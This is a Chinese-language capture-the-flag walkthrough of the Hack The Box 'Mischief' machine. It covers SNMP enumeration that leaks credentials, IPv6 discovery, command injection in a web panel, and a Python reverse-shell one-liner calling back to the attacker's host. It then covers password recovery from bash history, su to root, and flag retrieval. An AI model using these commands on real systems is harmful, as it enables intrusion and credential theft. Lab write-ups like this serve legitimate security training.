靶机链接:https://www.hackthebox.eu/home/machines/profile/145
1、nmap -sC -sV -p- -v -Pn 10.10.10.92
第一次扫描没有扫出3366,后面尝试-p-扫描全端口扫出
扫描出22、3366(需要认证登陆)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2、没啥线索,再尝试扫描udp端口
nmap -sU -v 10.10.10.92
扫描出snmp服务,尝试获取一些信息
Host is up (0.28s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
3、两种方式收集snmp信息
A方式通过snmpwalk .1.3.6xxxxxxx这一串代表OID,输入特定的OID可以收集到特定的信息,例如这个收集IP地址信息,也可以去掉OID枚举所有的信息。
A:snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.185.242.143 = INTEGER: 2
222.173.190.239.0.0.0.0.2.80.86.255.254.185.141.13
B:snmp-check 10.10.10.92 -c public
[*] System information:
Host IP address : 10.10.10.92
Hostname : Mischief
Description : Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
Contact : Me <[email protected]>
Location : Sitting on the Dock of the Bay
Uptime snmp : 05:27:58.31
Uptime system : 05:27:42.34
System date : 2019-1-14 03:35:02.0
[*] Processes:
578 runnable cron /usr/sbin/CRON -f
582 running snmpd /usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
601 runnable polkitd /usr/lib/policykit-1/polkitd --no-debug
621 runnable sh /bin/sh -c /home/loki/hosted/webstart.sh
625 runnable sh /bin/sh /home/loki/hosted/webstart.sh
626 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
5、得到2个线索
线索1:可以看到222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143这一串是IPV6十进制地址。我们转换成十六进制dead:beef:00:00:250:56ff:feb9:f28f
这里还可以使用Enyx去枚举IPV6地址
git clone https://github.com/trickster0/Enyx.git
python enyx.py 2c public 10.10.10.92
###################################################################################
# #
# ####### ## # # # # # #
# # # # # # # # # #
# ###### # # # ## ## #
# # # # # ## # # #
# ###### # ## ## # # #
# #
# SNMP IPv6 Enumerator Tool #
# #
# Author: Thanasis Tserpelis aka Trickster0 #
# #
###################################################################################
[+] Snmpwalk found.
[+] Grabbing IPv6.
[+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001
[+] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:f28f
[+] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:f28f
线索2:SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/ 这一串是3366端口的进程信息,可以看到一串loki:godofmischiefisloki,可以用来登陆3366服务。
登陆后得到两个账号密码,尝试登陆ssh,并没有什么效果。
6、针对IPV6进行扫描
nmap -6 -sV dead:beef:00:00:250:56ff:feb9:f28f
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
我们可以通过http://[dead:beef:00:00:250:56ff:feb9:f28f] 去访问ipv6的80端口
这里出现了一个登陆页面
7、我们使用之前得到的账号密码登陆一下看,发现无法登陆,尝试更换用户名登陆,root、admin、administrator。最后administrator/trickeryanddeceit登陆成功
看图提示说,密码在主目录中,是一个名为credentials文件
执行python --version; 发现没有回显,但是提示是运行成功的。
再尝试一下将标准错误输出重定向到标准输出2>&1
python --version 2>&1;
返回python 2.7.15
回显命令执行成功,那我们使用python弹shell吧
在kali下执行监听IPV6
nc -6nlvp 4444
在靶机命令输入框输入python socket弹shell命令
dead:beef:2::1319 这一串是kali(攻击机) ipv6的地址
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1319",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
使用python PTY生成伪终端
python -c 'import pty; pty.spawn("/bin/bash")'
8、然后在home/loki/目录下找到凭证
cat credentials
pass: lokiisthebestnorsegod
然后使用凭证内容通过ssh [email protected]登陆,密码lokiisthebestnorsegod
cat user.txt 拿到flag
9、尝试获取root.txt
在ssh登陆状态下查看历史纪录
cat ~/.bash_history
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
free -mt
ifconfig
cd /etc/
sudo su
su
exit
su root
ls -la
sudo -l
ifconfig
id
cat .bash_history
nano .bash_history
exit
loki用户不支持su操作。
尝试在kali下nc接收的www-data权限是否可以执行
su 输入密码lokipasswordmischieftrickery,这个是在历史命令看到的
这里无法通过这种办法cat root.txt ,上面说是要进行提权。但是我已经是root权限了,所以恶作剧靶机。。。。。
查找一下发现/usr/lib/gcc/x86_64-linux-gnu/7/root.txt存在flag
find / -name root.txt
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt